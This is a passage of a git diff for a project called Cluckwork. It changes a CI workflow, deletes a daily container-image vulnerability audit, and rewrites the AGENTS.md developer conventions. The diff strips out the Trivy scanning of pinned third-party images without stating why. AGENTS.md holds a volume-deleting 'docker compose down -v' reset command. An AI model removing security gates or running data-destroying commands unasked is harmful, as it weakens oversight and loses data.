../.github/scripts/vuln-gate.mjs --ecosystem npm --level high \\\n --exceptions ../.github/security-exceptions.json < npm-audit-prod.json\n \n # ADVISORY only (never blocks) on the full tree, dev dependencies included.\n # A build-tooling advisory (vite, vitest, eslint…) does not ship to users,\n # so it surfaces in the log without wedging unrelated PRs. Bump the dep, or\n # promote this to a blocking step, when one actually appears.\n@@ -423,166 +417,50 @@ jobs:\n # Only on a merge into main, so PR runs pay none of this.\n - name: Export the verified image for publishing\n id: export\n if: |\n (github.event_name == 'push' && github.ref == 'refs/heads/main')\n || github.event_name == 'workflow_dispatch'\n run: |\n set -euo pipefail\n docker save cluckwork-api:ci | gzip > image.tar.gz\n printf 'image_id=%s\\n' \\\n \"$(docker image inspect -f '{{.Id}}' cluckwork-api:ci)\" >> \"$GITHUB_OUTPUT\"\n \n - name: Upload the verified image\n if: |\n (github.event_name == 'push' && github.ref == 'refs/heads/main')\n || github.event_name == 'workflow_dispatch'\n uses: actions/upload-artifact@v7\n with:\n name: runtime-image\n path: image.tar.gz\n # Already gzipped — re-zipping it would burn a minute for nothing.\n compression-level: 0\n # Purely an intra-run handoff; the registry is the durable copy.\n retention-days: 1\n \n- # #369 — the OTHER images this repo pins.\n- #\n- # The `image` job above scans `cluckwork-api:ci`: the application image, and\n- # nothing else. But deploy/docker-compose.yml is the reference stack a\n- # developer runs and — as #369 documents — the file the deploy repo read its\n- # production Traefik version out of, and its third-party pins were covered by\n- # no gate at all. `traefik:v3.5` sat there for eight months resolving to a\n- # build with 57 fixable HIGH/CRITICAL findings, and nothing in this repository\n- # was ever going to say so.\n- #\n- # Split into enumerate-then-scan because a matrix has to be known when its job\n- # starts. The upside is that a newly added service is covered automatically:\n- # nobody has to remember to add a scan step, and the pin gate refuses a\n- # non-digest ref before the scan even runs.\n- image-pins:\n- name: Enumerate third-party image pins\n- runs-on: ubuntu-latest\n- timeout-minutes: 5\n- outputs:\n- matrix: ${{ steps.pins.outputs.matrix }}\n- steps:\n- - name: Check out repository\n- uses: actions/checkout@v7\n- with:\n- ref: ${{ github.event_name == 'workflow_dispatch' && inputs.sha || '' }}\n-\n- - name: Enumerate third-party image pins\n- id: pins\n- uses: ./.github/actions/third-party-image-pins\n-\n- third-party-images:\n- name: Trivy scan ${{ matrix.image.name }}\n- runs-on: ubuntu-latest\n- timeout-minutes: 15\n- needs: image-pins\n- strategy:\n- # Scan every image even after one fails — a red run should name ALL the\n- # pins that need bumping, not just the first alphabetically.\n- fail-fast: false\n- matrix:\n- image: ${{ fromJSON(needs.image-pins.outputs.matrix) }}\n- steps:\n- # Needed only for .github/trivyignore.yaml — the image itself is pulled\n- # from a registry, not built here. Without it the scan step fails on a\n- # missing ignore file, which looks exactly like a real finding.\n- - name: Check out repository\n- uses: actions/checkout@v7\n- with:\n- ref: ${{ github.event_name == 'workflow_dispatch' && inputs.sha || '' }}\n-\n- # Same gate shape as the application-image scan above: BLOCKING on a\n- # HIGH/CRITICAL that HAS a fix, `ignore-unfixed: true` so an upstream CVE\n- # with nothing to move to cannot wedge every unrelated PR. The actionable\n- # response here is identical — bump the pinned digest — so the philosophy\n- # carries over unchanged.\n- - name: Scan ${{ matrix.image.ref }}\n- # Supply-chain: pin the immutable commit, not the re-pointable tag. Same\n- # rule and same reasoning as the application-image scan above.\n- uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0\n- with:\n- # Pulled by digest, so these are provably the bytes the compose file\n- # names — not whatever a tag happens to resolve to at scan time.\n- image-ref: ${{ matrix.image.ref }}\n- scan-type: image\n- # EXPLICIT, not left to the default. Trivy's default enables the secret\n- # scanner too, and every Debian-based image ships\n- # /etc/ssl/private/ssl-cert-snakeoil.key — the `ssl-cert` package's\n- # self-signed placeholder, generated at install time and a credential\n- # to nothing. It is reported HIGH, so the default config fails this job\n- # on postgres forever for a non-finding. This is a VULNERABILITY gate;\n- # `vuln-type`, `severity` and `ignore-unfixed` below only describe vuln\n- # scanning, so say so rather than relying on a default that disagrees.\n- scanners: vuln\n- vuln-type: os,library\n- severity: HIGH,CRITICAL\n- ignore-unfixed: true\n- # Dated, per-CVE, path-scoped exceptions for findings with no fixed\n- # IMAGE to move to — `ignore-unfixed` only asks whether the PACKAGE has\n- # a fix. Deliberately NOT applied to the application-image scan above:\n- # nothing here can mask a finding in bytes this repo builds. See the\n- # file's own header for the rules.\n- trivyignores: .github/trivyignore.yaml\n- exit-code: \"1\"\n- format: table\n- env:\n- GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n-\n- # Deliberately does NOT claim \"this image has findings\". The step above\n- # exits non-zero for a scan failure too — a missing ignore file did exactly\n- # that on this PR's first run, and an earlier version of this message\n- # reported it as CVEs in Traefik, sending a reader to bump a digest that\n- # was already current. Asserting a cause the step never established is the\n- # same defect this whole job exists to catch, so state the fact (the scan\n- # failed), give the context, and let the log above say which.\n- - name: How to act on this failure\n- if: failure()\n- # Both values reach the runner through `env:`, never spliced into the\n- # script body. They originate in a compose file from the checked-out\n- # tree, which on a fork pull_request is the contributor's content — a\n- # `${{ }}` expansion inside `run:` would make a crafted service key or\n- # image name execute as shell. (compose-images.mjs additionally refuses a\n- # service name outside compose's own charset, so this is belt and braces.)\n- env:\n- IMAGE_NAME: ${{ matrix.image.name }}\n- PINNED_AT: ${{ matrix.image.usedBy }}\n- run: |\n- echo \"::error::Trivy scan of $IMAGE_NAME failed. See the scan output above for which.\"\n- echo \"Pinned at: $PINNED_AT\"\n- echo\n- echo \"If it reported fixable HIGH/CRITICAL findings: bump the digest there.\"\n- echo \" docker buildx imagetools inspect $IMAGE_NAME\"\n- echo \"If there is no fixed image to move to, add a dated, path-scoped entry to\"\n- echo \" .github/trivyignore.yaml (read its header first — it has rules).\"\n- echo \"If Trivy itself errored (missing file, registry, vuln DB): that is a\"\n- echo \" workflow defect, not a finding. Do not bump anything.\"\n-\n # #351 — publish the image this run verified, named by COMMIT.\n #\n # No version is decided here, and no git tag is cut. That is the release\n # workflow's job, and it happens later, behind a human merging the release PR.\n # This job's only claim is \"the image for commit X is these exact bytes, and\n # they passed every gate\" — which makes it idempotent per commit, free of\n # ordering hazards, and impossible to race: two merges publish two different\n # names.\n #\n # Gated on build-and-test, web AND image: those run in parallel, so only a job\n # downstream of all three knows the run was green.\n publish:\n name: Publish the commit image\n runs-on: ubuntu-latest\n timeout-minutes: 15\n needs: [build-and-test, web, image]\n if: |\n (github.event_name == 'push' && github.ref == 'refs/heads/main')\n || github.event_name == 'workflow_dispatch'\n permissions:\n # Job-level permissions REPLACE the workflow-level `contents: read`.\n contents: read\n packages: write # push the image to GHCR\n outputs:\n image: ${{ steps.publish.outputs.image }}\ndiff --git a/.github/workflows/image-audit.yml b/.github/workflows/image-audit.yml\ndeleted file mode 100644\nindex 941625a2b7141db28f4e1d861dde29ab914c2125..0000000000000000000000000000000000000000\n--- a/.github/workflows/image-audit.yml\n+++ /dev/null\n@@ -1,226 +0,0 @@\n-name: Scheduled image audit\n-\n-# #369. ci.yml scans images on `push` and `pull_request`, which answers exactly\n-# one question: *were these bytes clean when they were built?* It cannot answer\n-# *are these bytes still clean?*, because a newly published advisory arrives\n-# with no commit to fire on. Nothing changes, so nothing runs, so nothing looks.\n-#\n-# That is not a hypothetical gap — it is the mechanism of the bug this workflow\n-# comes from. `traefik:v3.5` accumulated 57 fixable HIGH/CRITICAL findings over\n-# eight months without a single byte of this repository changing, and the stale\n-# version propagated into a production deploy manifest before anyone noticed.\n-#\n-# Same shape and same reasoning as security-audit.yml, which does this for the\n-# NuGet and npm dependency graphs. This does it for container images: the\n-# third-party ones pinned in deploy/, and the application image that actually\n-# shipped.\n-#\n-# Mode: BLOCKING (the job fails), so the run goes red and GitHub notifies. It\n-# gates nothing by itself — nothing merges on a cron — but a red run is the\n-# signal to merge the Dependabot digest bump that is probably already open.\n-#\n-# DAILY, unlike security-audit.yml's weekly cadence: a base-image CVE is fixed by\n-# an upstream rebuild that can land any day, and the deploy repo scans its own\n-# running digests daily, so a weekly signal here would routinely be the second\n-# place to find out.\n-\n-on:\n- schedule:\n- # 05:00 UTC daily — ahead of the Monday dependency audit (06:00) and CodeQL\n- # (07:00), so on a Monday the whole security picture lands in one sitting.\n- - cron: \"0 5 * * *\"\n- workflow_dispatch: # run it by hand when an advisory lands\n-\n-permissions:\n- contents: read\n-\n-jobs:\n- # ---------------------------------------------------------------------------\n- # The images this repo pins but does not build.\n- # ---------------------------------------------------------------------------\n- image-pins:\n- name: Enumerate third-party image pins\n- runs-on: ubuntu-latest\n- timeout-minutes: 5\n- outputs:\n- matrix: ${{ steps.pins.outputs.matrix }}\n- steps:\n- - name: Check out repository\n- uses: actions/checkout@v7\n-\n- - name: Enumerate third-party image pins\n- id: pins\n- uses: ./.github/actions/third-party-image-pins\n-\n- third-party-images:\n- name: Trivy scan ${{ matrix.image.name }}\n- runs-on: ubuntu-latest\n- timeout-minutes: 15\n- needs: image-pins\n- strategy:\n- fail-fast: false\n- matrix:\n- image: ${{ fromJSON(needs.image-pins.outputs.matrix) }}\n- steps:\n- # Needed only for .github/trivyignore.yaml — the image is pulled from a\n- # registry, not built here. Without it the scan fails on a missing ignore\n- # file, which is indistinguishable from a real finding.\n- - name: Check out repository\n- uses: actions/checkout@v7\n-\n- - name: Scan ${{ matrix.image.ref }}\n- # Supply-chain: pin the immutable commit, not the re-pointable tag.\n- uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0\n- with:\n- image-ref: ${{ matrix.image.ref }}\n- scan-type: image\n- # Explicit — the default also runs the secret scanner, which flags\n- # Debian's ssl-cert snakeoil placeholder key in postgres. See the\n- # identical step in ci.yml.\n- scanners: vuln\n- vuln-type: os,library\n- severity: HIGH,CRITICAL\n- # Consistent with every other gate in this repo: block on what can be\n- # ACTIONED. The action for an image is \"bump the pinned digest\", so an\n- # advisory with no upstream fix yet is noise on a daily cron.\n- ignore-unfixed: true\n- # Same dated exceptions as ci.yml, so the two gates cannot disagree\n- # about what is muted — the property .github/security-exceptions.json\n- # already holds for the dependency gates.\n- trivyignores: .github/trivyignore.yaml\n- exit-code: \"1\"\n- format: table\n- env:\n- GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n-\n- # Does NOT claim the image has findings — the step above also fails on a\n- # Trivy error. See the identical step in ci.yml for why that distinction\n- # is load-bearing.\n- - name: How to act on this failure\n- if: failure()\n- # Via env, never spliced into the script: these originate in a compose\n- # file. See the identical step in ci.yml.\n- env:\n- IMAGE_NAME: ${{ matrix.image.name }}\n- PINNED_AT: ${{ matrix.image.usedBy }}\n- run: |\n- echo \"::error::Trivy scan of $IMAGE_NAME failed. See the scan output above for which.\"\n- echo \"Pinned at: $PINNED_AT\"\n- echo\n- echo \"If it reported fixable HIGH/CRITICAL findings: bump the digest there.\"\n- echo \"Dependabot's docker-compose ecosystem may already have a PR open; otherwise\"\n- echo \"resolve a digest by hand with:\"\n- echo \" docker buildx imagetools inspect $IMAGE_NAME\"\n- echo \"If Trivy itself errored: that is a workflow defect, not a finding.\"\n-\n- # ---------------------------------------------------------------------------\n- # The application image that actually shipped.\n- # ---------------------------------------------------------------------------\n- #\n- # Deliberately PULLED from GHCR rather than rebuilt. A rebuild would take ~20\n- # minutes and would scan bytes that have never been deployed — a fresh `docker\n- # build` resolves a different base layer and different apt state than the one\n- # in the registry. #351's whole premise is that the published digest is the\n- # artifact; scanning anything else answers a question nobody asked.\n- app-image:\n- name: Trivy scan the published application image\n- runs-on: ubuntu-latest\n- timeout-minutes: 15\n- permissions:\n- # Job-level permissions REPLACE the workflow-level `contents: read`.\n- contents: read\n- packages: read # pull the published image from GHCR\n- steps:\n- - name: Check out repository\n- uses: actions/checkout@v7\n- with:\n- # Enough history to walk back past a commit that has no image (see\n- # below). Shallow-by-default would make that walk find nothing.\n- fetch-depth: 50\n-\n- # `x-access-token` rather than `${{ github.actor }}`: GHCR authenticates\n- # the token, not the username. Same step as ci.yml's publish job.\n- - name: Log in to GHCR\n- env:\n- GHCR_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n- run: echo \"$GHCR_TOKEN\" | docker login ghcr.io -u x-access-token --password-stdin\n-\n- # Resolve the newest commit on main that HAS a published image, rather\n- # than assuming HEAD does. A `[skip ci]` anywhere in a commit message\n- # suppresses the push run entirely — and AGENTS.md records that this\n- # reaches the squashed release commit via a changelog entry — so HEAD\n- # legitimately has no image sometimes. Failing the audit for that would\n- # cry wolf daily about a release-tooling quirk instead of a CVE.\n- - name: Resolve the newest published commit image\n- id: target\n- run: |\n- set -euo pipefail\n- # GHCR rejects uppercase; the owner/repo casing is not ours to assume.\n- REGISTRY_IMAGE=\"ghcr.io/${GITHUB_REPOSITORY,,}\"\n- found=\"\"\n- for sha in $(git log --format=%H -n 25 HEAD); do\n- if docker manifest inspect \"$REGISTRY_IMAGE:sha-$sha\" >/dev/null 2>&1; then\n- found=\"$sha\"\n- break\n- fi\n- echo \"no image for $sha, walking back\"\n- done\n- if [[ -z \"$found\" ]]; then\n- echo \"::error::No published image found for any of the last 25 commits on main.\"\n- echo \"CI publishes ghcr.io//:sha- on every merge, so this means\"\n- echo \"publishing has been broken for a while, or the package is not readable by this\"\n- echo \"token. Re-run CI for a known-good commit via its workflow_dispatch (see AGENTS.md).\"\n- exit 1\n- fi\n- # Resolve the digest and scan by DIGEST, not by the tag we just found\n- # it under. `:sha-` is mutable by anyone holding\n- # `packages: write` — AGENTS.md spells out why the release promotion\n- # step refuses to trust it — and a scan is a claim about specific\n- # bytes. Pinning here means the report names an artifact that cannot\n- # have been swapped between the lookup and the pull.\n- digest=\"$(docker buildx imagetools inspect --format '{{.Manifest.Digest}}' \\\n- \"$REGISTRY_IMAGE:sha-$found\")\"\n- {\n- printf 'ref=%s\\n' \"$REGISTRY_IMAGE@$digest\"\n- printf 'sha=%s\\n' \"$found\"\n- printf 'digest=%s\\n' \"$digest\"\n- } >> \"$GITHUB_OUTPUT\"\n- echo \"Scanning $REGISTRY_IMAGE:sha-$found ($digest)\"\n-\n- - name: Scan the published application image\n- # Supply-chain: pin the immutable commit, not the re-pointable tag.\n- uses: aquasecurity/trivy-action@ed142fd0673e97e23eac54620cfb913e5ce36c25 # v0.36.0\n- with:\n- image-ref: ${{ steps.target.outputs.ref }}\n- scan-type: image\n- vuln-type: os,library\n- severity: HIGH,CRITICAL\n- ignore-unfixed: true\n- exit-code: \"1\"\n- format: table\n- env:\n- GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n-\n- - name: What to do about it\n- if: failure()\n- env:\n- TARGET_SHA: ${{ steps.target.outputs.sha }}\n- TARGET_DIGEST: ${{ steps.target.outputs.digest }}\n- run: |\n- echo \"::error::The published application image has fixable HIGH/CRITICAL findings.\"\n- echo \"Commit: $TARGET_SHA\"\n- echo \"Digest: $TARGET_DIGEST\"\n- echo\n- echo \"These bytes were clean when CI built them; an advisory has been published since.\"\n- echo \"The fix is a rebuild on a patched base: merge the Dependabot digest bump for\"\n- echo \"src/Cluckwork.Api/Dockerfile (docker ecosystem), which re-runs the CI Trivy gate\"\n- echo \"and publishes a new commit image. Until then the deployed digest is affected —\"\n- echo \"note that this scan does NOT tell you what the deploy repo currently runs; it\"\n- echo \"pins its own digest, which may be older than this one.\"\n-\n- # Drop the registry credential rather than leaving it readable in\n- # ~/.docker/config.json for whatever runs next. `always()` so it happens on\n- # the failing path too — which is the path this job is built to take.\n- - name: Log out of GHCR\n- if: always()\n- run: docker logout ghcr.io >/dev/null 2>&1 || true\ndiff --git a/AGENTS.md b/AGENTS.md\nindex 6e5205f3987a28bcbfdbbe3565f386223d61fad2..c10672eb9951ae001f3617692f649f7f58fabf2e 100644\n--- a/AGENTS.md\n+++ b/AGENTS.md\n@@ -31,52 +31,50 @@ dotnet test Cluckwork.sln # 688 tests as of 2026-07; integratio\n - **Run full stack (prod-like):** `docker compose -f deploy/docker-compose.yml up --build` → SPA + API on http://localhost:8080 (single container; API serves the built SPA from `wwwroot`).\n - **Run frontend dev:** `cd web && npm run dev` → http://localhost:5173 (proxies `/api` → :8080).\n - **Debug API (no docker stack):** `docker compose -f deploy/docker-compose.dev.yml up -d` (Postgres on :5432), then run/debug `Cluckwork.Api` (Development env). Dev secrets live in **user-secrets**, not files.\n \n ## Conventions (follow these)\n \n - **Result pattern:** domain/handlers return `Result` / `Result` (see `Domain/Common`). Don't throw for expected failures; throw only for invariant violations (e.g. `Flock.Create` guards).\n - **Every aggregate mutation must bump `Version`.** `Version` is an EF concurrency token (`IsConcurrencyToken`) — EF puts the *original* value in the UPDATE's WHERE but never auto-increments it. A mutation without `Version++` silently loses concurrent races (both writers match `WHERE Version = N`) instead of 409ing. This bug shipped three times (`RecordProduction` was correct; `Submit`/`Lock` and `SalesOrder.AddItem` weren't) — each now has a parallel-race integration test; add one for any new mutation.\n - **Handler per feature**, invoked directly from endpoints — **no MediatR**. Register handlers/validators/repos in `Program.cs`.\n - **Validation:** FluentValidation validators (`*Validator`), one per command; endpoints call `ValidateAsync` and return `ValidationProblem`.\n - **Endpoints:** minimal APIs grouped under `/api/v1/...` via `MapEndpoints`; writes require auth + an `Idempotency-Key` (middleware).\n - **Multi-tenancy:** every tenant-owned entity has `AccountId`; enforced by an EF **global query filter** + a **`TenantStampInterceptor`** (stamps on insert). `TenantContext` is resolved per-request from the JWT `account_id` claim. At startup it's unresolved → use `IgnoreQueryFilters()` in seeders.\n - **Auth:** asymmetric JWT + rotating refresh tokens. PEM keys come from config with escaped `\\n`; normalize via `PemKey.Normalize` before `ImportFromPem`. Integration tests generate an ephemeral RSA pair at test-process startup (`TestJwtKeys` in `CluckworkWebApplicationFactory.cs`) — no real key material is ever committed to source (`deploy/.env.example` carries PEM armor with a `replace-me` body, not a usable key).\n - **Migrations + base provisioning (#283):** EF migrations auto-apply on startup (`Database:MigrateOnStartup`, default true — but **Production sets it `false`**; the `migrate` command runs DDL out-of-band, see the #263 bullet below). The default account, the four assignable roles (`Roles.Assignable`), the default egg grades, and the default packed-unit conversions are **static reference data baked into the migrations themselves** — deterministic and multi-instance-safe by construction, **no runtime seeder, no `Seed:*` config**. They ship as **hand-written `migrationBuilder.Sql` with `WHERE NOT EXISTS` guards, deliberately NOT EF's `HasData`/`InsertData`** — `HasData` keys on the PRIMARY KEY, which assumes a virgin schema, but every install that ever booted pre-#283 already has these rows under *different* ids (the old `DatabaseSeeder` minted roles/grades/conversions with `Guid.NewGuid()`), so `InsertData` either collides on `PK_Accounts` or silently violates the real natural-key unique indexes. The #245 squash retires *that* particular reason (a virgin database is now the only starting state), but **do not \"regenerate\" these into `HasData`**: `HasData` rows become part of the **model**, and every one of these tables is user-mutable through the app (Settings renames the account, `PUT /api/v1/egg-grades/{id}` renames a grade, `EggUnitConversion.Update` retunes `EggsPerUnit`), so a later model-diff would emit `UpdateData`/`DeleteData` that silently reverts the farm's own edits. Raw SQL seeds once and then leaves the rows alone forever. The guard's scope differs per batch, and the rule is *whether the user can change the natural key or remove a set member*: the **egg grades** batch is gated on the account's grade catalog being **entirely empty** (whole-set), because grades are user-managed — `PUT /api/v1/egg-grades/{id}` renames one, and a per-name guard cannot see a `Small` the farm renamed to `Pullet`, so it would resurrect an active, saleable duplicate (the old seeder skipped the whole set for exactly this reason); **roles, unit conversions, and the default account** stay **per-key**, because their keys are not user-mutable (no role CRUD exists at all; `EggUnitConversion.Update` cannot change `UnitCode` and there is no create/delete; the account's key is a fixed id), and per-key additionally lets a later-added role or unit code back-fill into an older install. `MigrationSecurityReviewTests` pins the SQL shape (12 INSERT statements, 21 rows, every one `WHERE NOT EXISTS`-guarded, the grades guard blind to `\"Name\"`) and `BaseReferenceDataMigrationTests` pins the result against a real virgin Postgres. `MigrationSecurityReviewTests` also asserts no migration ever inserts a credential-shaped row (`AspNetUsers`, `PasswordHash`, `SecurityStamp`, …) — the schema itself is never a place a credential can hide. The first admin is a **separate, deliberately NOT migration-baked** concern — see the #283 bullet below.\n - **One migration, squashed (#245):** `Persistence/Migrations/` holds exactly **one** migration, `InitialCreate`, generated from the current model on 2026-08-01. It replaced the 34 that had accumulated since 2026-06-27 (12 of them carrying raw SQL written for mid-history data states — backfills that touch 0 rows on an empty database but still execute). Done once, before the first production deploy, precisely because no `__EFMigrationsHistory` anywhere needed baselining; **it cannot be repeated after go-live**. Any database still carrying the old history (a dev DB from `deploy/docker-compose.dev.yml`, an old demo/sim instance) can no longer migrate forward — **drop and recreate**: `docker compose -f deploy/docker-compose.dev.yml down -v && docker compose -f deploy/docker-compose.dev.yml up -d`. Two things in that migration are **hand-carried and un-regenerable** — a plain `dotnet ef migrations add` drops both on the floor, so never regenerate `InitialCreate` without re-adding them: (1) the four **`lower(\"Name\")` expression unique indexes** (`IX_EggGrades_AccountId_FarmId_LowerName`, `IX_ExpenseCategories_NameCi`, `UX_InventoryItems_Account_Farm_LowerName`, `IX_Products_AccountId_LowerName`) — EF cannot model a functional index, and losing them loses four uniqueness constraints; (2) the **static base reference data** raw SQL (see the bullet above). `MigrationSecurityReviewTests` and `BaseReferenceDataMigrationTests` fail if either goes missing.\n - **Seed command (#280, #284):** demo sample data is NOT boot-seeded — there is no `Seed__Demo` flag anymore. Run it explicitly, against a database that has **already been booted once** so the base seed above exists (default account, `Admin` role, default egg grades — the demo seed needs all three and fails fast with a clear message if they're missing): `ASPNETCORE_ENVIRONMENT=Development dotnet Cluckwork.Api.dll seed --profile demo` (an unset `ASPNETCORE_ENVIRONMENT` defaults to Production, which the guard below blocks — always set it for a local/dev/CI run). The command migrates the schema, runs `DemoDataSeeder`, then exits (Kestrel never starts); it is **authoritative** (seeds regardless of any config) and **fail-loud** (a real exit code: `0` only when data was actually seeded or was already present, non-zero with an stderr message otherwise — never a silent no-op). `DemoDataSeeder` is registered only when `!IsProduction()` (defense-in-depth): running the command against a Production-env process fails with a clear message instead of writing fake data. Intended flow: the serving process for a real farm stays Production; a non-Production process (dev box, CI, or a sim/load-test harness) runs `seed --profile demo` against its own already-base-seeded database. The **`simulation` profile** (#279) sits in the same `switch` with the same authoritative + fail-loud + Production-guarded contract (`SimulationDataSeeder`); it additionally records its date anchor + a completion marker in a durable `SimulationSeedState` row (anchor written before the first fixture mutation; completion stamped only after the manifest succeeds). A clean re-run — even one straddling a UTC-midnight rollover — reuses that anchor and converges to `AlreadySeeded` with an unchanged manifest fingerprint instead of writing a shifted duplicate set; `AlreadySeeded` is reported only when the counts are unchanged, so a `SimulationOptions` change that adds fixtures re-runs as `Seeded`. The durable anchor can't be poisoned by a mid-seed crash or by foreign daily entries a load test writes into the account (a data-derived anchor could); but a polluted account still fails the exact count validation **closed** (`Failed`) rather than certifying a fixture that no longer matches the definition.\n - **Break-glass recovery (#265):** `recover-admin` is a second one-off CLI verb on the same binary, same run-then-exit shape as `seed` — but deliberately **NOT** environment-gated (it must work against a real Production database): `dotnet Cluckwork.Api.dll recover-admin --email [--account ] [--reason ]`. For a locked-out account (the sole-Owner-lost-password case, no email/SMTP reset path) it, in one transaction, resets to a **freshly generated** temporary password (never one passed on the command line), rotates the security stamp, revokes every refresh token, and writes a conspicuous `User.BreakGlassReset` audit row carrying `--reason`. The temp password is printed to **stdout only** (never the logger/OTLP) and exit `0`; failures go to stderr with exit `1` and change nothing. `AdminRecoveryService` orchestrates; `IdentityProvider.BreakGlassResetAsync` shares the reset/revoke core with `SetUserPasswordAsync`. Full procedure + verification drill: `docs/runbooks/break-glass-account-recovery.md`.\n - **First-run admin provisioning (#283):** `bootstrap-admin` is a fourth one-off CLI verb, same run-then-exit shape as `seed`/`migrate`, always available in Production (same posture as `recover-admin`): `dotnet Cluckwork.Api.dll bootstrap-admin --email `. It migrates the schema (idempotent, like the other verbs), then — **only if the default account has no Owner yet** — creates one with a **freshly generated** password and `ApplicationUser.MustChangePassword = true`, printed to **stdout only** (never the logger/OTLP, identical rule to `recover-admin`). A re-run against an already-provisioned account is a silent no-op: no second Owner, no password reprinted. `FirstRunAdminService` orchestrates (mirrors `AdminRecoveryService`'s CLI-wrapper-calls-a-service shape); `IIdentityProvider.CreateUserAsync` gained an optional `mustChangePassword` parameter (default `false` — an ordinary Users-page-created user is never gated) that this is the only caller to pass `true`. While the flag is set: the JWT carries a `must_change_password` claim (`JwtTokenService`), `MustChangePasswordMiddleware` refuses **every** endpoint except `auth/change-password` and `auth/logout` with 403 (placed before `UseAuthorization`, so it applies uniformly regardless of an endpoint's `AuthPolicies` tier, and before the idempotency middleware, so a blocked write burns no key), and the SPA's `ProtectedRoute` renders a **\"Set your password\"** screen (`SetPasswordPage`, reusing `/auth/change-password` — the operator already knows the printed password as their \"current\" one) instead of the app shell, on every route. Any successful password reset (self-service change, an Owner's `SetUserPasswordAsync`, or break-glass) clears the flag — a single invariant in `IdentityProvider`, not re-derived per path. **Deliberately a separate credential type** from `recover-admin`'s temp password and from #308's browser step-up re-confirmation grant — different audience (pre-auth shell access vs. an authenticated Owner), different lifetime, never conflated; do not treat any of #283/#265/#308 as covering another.\n - **Farm timezone + tzdata/ICU image constraint (#264):** the default account (a fixed `\"UTC\"` migration literal since #283 — see the bullet above) is provisioned once; a real farm sets its actual IANA zone via **Settings → timezone** after first login (`Account.UpdateSettings`), not at provisioning time (the `Seed:TimeZoneId` config lever from before #283 is retired along with the runtime seeder it fed). The farm clock resolves IANA zones via `TimeZoneInfo.FindSystemTimeZoneById` for every safety-sensitive local-day decision and **fails closed**, so the runtime **image MUST carry tzdata + ICU** (the Ubuntu 24.04 (Noble) `aspnet:10.0` base does; **never** an Alpine/chiseled base without tzdata, and **never** `InvariantGlobalization=true`). `Program.cs` still asserts a representative IANA canary resolves at boot (`TimeZoneAvailability.EnsureResolvable`) — a bad image fails the boot loudly instead of surfacing later as a per-request `FarmTimeZoneException`.\n - **Migrate command + prod migration split (#263):** `dotnet Cluckwork.Api.dll migrate` is a third run-then-exit CLI verb (same shape as `seed`) that applies EF migrations then exits — the **pre-deploy-job entrypoint**. In **Production** (`appsettings.Production.json`, loaded because the container leaves `ASPNETCORE_ENVIRONMENT` unset → Production; setting it to Development silently re-enables boot-migration) **`Database:MigrateOnStartup=false`**, so the request-serving process never runs schema DDL. The **actual guarantee is ordering** — migrate runs *before* serve: `deploy/docker-compose.yml` runs a one-shot `migrate` service first and `app` waits on `service_completed_successfully` (any other orchestrator runs the `migrate` job as a pre-deploy step). `DatabaseReadyHealthCheck` is the **backstop**: `/health/ready` returns **503 while any migration is pending**, so an orchestrator's readiness gate won't route traffic to a stale schema. This is the app-side of #263's privilege separation. The **remaining host-specific deploy step**: create a least-privilege runtime role (`GRANT USAGE ON SCHEMA public` + DML/sequence privileges, **no DDL**; plus **`ALTER DEFAULT PRIVILEGES`** for the migrator role so objects future migrations create are auto-granted to the runtime role) and point the migrate job at a separate owner/migrator credential. This PR **does not** close #263 on its own — it references it; the role split closes it.\n - **Proxy-trust boot guard (#260):** behind a reverse proxy/edge, HSTS (#144) and the per-IP login limiter (#143) only work if the app trusts the proxy's `X-Forwarded-*`, which it does **only** for networks in `RateLimiting:TrustedProxies`. An **empty list in Production fails the boot** (a serving-process guard placed *after* the CLI dispatch, so `migrate`/`seed`/`recover-admin` are unaffected) rather than silently running with inert HSTS + a one-bucket limiter. Opt out with `RateLimiting:AllowNoTrustedProxies=true` only for a rare direct-TLS deploy with no fronting proxy. The concrete edge CIDR is deploy config (in the separate deployment/ops repo).\n - **Production Postgres TLS floor (#261/#262):** `ConnectionStrings:Default` accepts libpq URI form (`postgresql://…`, translated to Npgsql key-value; a param Npgsql supports under a different spelling — `channel_binding`, `target_session_attrs`, `gssencmode` — is **mapped**, and only a genuinely unsupported one — `sslcompression` — skips-with-warning; **`ContainsKey(\"\") == false` does NOT mean Npgsql lacks the setting** — it usually means the keyword is spelled differently (`keepalives` → `Tcp Keepalive`, `client_encoding` → `Client Encoding`, `gssencmode` → `GSS Encryption Mode`), so search the keyword list for the concept before concluding a param is unmappable; that exact false negative is what shipped #332, and the first fix for it re-made the same mistake with `keepalives`. Still unmapped and worth a follow-up: the `keepalives*` family and `client_encoding` — `keepalives` needs a *value* translation (`1` → a bool keyword), not just a keyword map) as well as key-value. In **Production** the effective `sslmode` is validated once at boot as a fail-closed **allow-list**: `VerifyCA`/`VerifyFull` silent, `Require` warns (prefer VerifyFull), and **everything else — `Disable`/`Allow`/`Prefer`, unset (Npgsql defaults to `Prefer`), or any undefined `SslMode` — fails the boot**. Never auto-injected. `Database:AllowInsecureConnection=true` is the explicit opt-out for the co-located plaintext compose stack (set on both `app` and `migrate`; a real deploy never sets it). The `VerifyFull` CA + per-host `sslmode` are deploy config (in the separate deployment/ops repo). Integration tests opt out of this **and** the #260 guard in `CluckworkWebApplicationFactory` (plaintext Testcontainers, no proxy) — a Production-env test that skips those opt-outs will fail the boot.\n - **GSS/Kerberos negotiation off by default (#332):** Npgsql's `GssEncryptionMode` defaults to `Prefer`, so every connector probes the GSSAPI stack before authenticating. The runtime image carries no `libgssapi-krb5-2` (#267 keeps it minimal), so that probe made .NET's native security shim print two **unstructured, pre-Serilog** lines to stderr per connecting process (`Cannot load library libgssapi_krb5.so.2`) — non-fatal but it reads like a failure during deploys and lands badly in an OTLP sink. `PostgresConnectionString` now appends `GSS Encryption Mode=Disable` **unless the operator specified it**, detected by **presence, not value** (`prefer` is Npgsql's own default, so a value comparison would silently override an operator who asked for it) — via the *base* `DbConnectionStringBuilder`, since `NpgsqlConnectionStringBuilder.ContainsKey` returns true for every keyword it knows, defaults included. Appended **textually** after the TLS floor runs: a round-trip through the Npgsql builder would reorder/requote the operator's own string and throw on any keyword this Npgsql version doesn't know. Orthogonal to `sslmode` (#262 untouched) and to GSS *authentication* (a separate 